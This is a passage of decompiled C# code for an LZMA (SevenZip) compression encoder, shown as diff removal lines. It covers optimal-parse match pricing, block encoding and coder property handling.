GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint 